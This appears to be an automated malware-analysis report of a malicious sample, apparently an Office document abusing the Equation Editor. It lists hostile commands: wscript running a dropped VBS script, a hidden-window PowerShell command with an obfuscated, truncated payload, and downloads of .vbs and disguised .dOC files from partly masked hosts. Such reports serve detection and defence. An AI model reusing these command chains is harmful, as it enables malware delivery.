Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\HTMLIEhistory.vbs"
Downloads and executes files.
Modifies file system
Creates the following files
- %APPDATA%\htmliehistory.vbs
Network activity
Connects to
- '18#.#54.37.174':80
- 'up#####eimagens.com.br':443
TCP
HTTP GET requests
- http://18#.#54.37.174/HTMLEVENbrowser.dOC
- http://18#.#54.37.174/eveningFile.vbs
Other
- 'up#####eimagens.com.br':443
UDP
- DNS ASK up#####eimagens.com.br
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "$Codigo = 'JODkLuWhoOLBpODkLuWhoOLG0ODkLuWhoOLYQBnODkLuWhoOLGUODkLuWhoOLVQByODkLuWhoOLGwODkLuWhoOLIODkLuWhoOLODkLuWhoOL9ODkLuWhoOLCODkLuWhoOLODkLuWhoOLJwBoODkLuWhoOLHQODkLuWhoOLdODkLu...' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\winword.exe' -Embedding
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "$Codigo = 'JODkLuWhoOLBpODkLuWhoOLG0ODkLuWhoOLYQBnODkLuWhoOLGUODkLuWhoOLVQByODkLuWhoOLGwODkLuWhoOLIODkLuWhoOLODkLuWhoOL9ODkLuWhoOLCODkLuWhoOLODkLuWhoOLJwBoODkLuWhoOLHQODkLuWhoOLdODkLu...
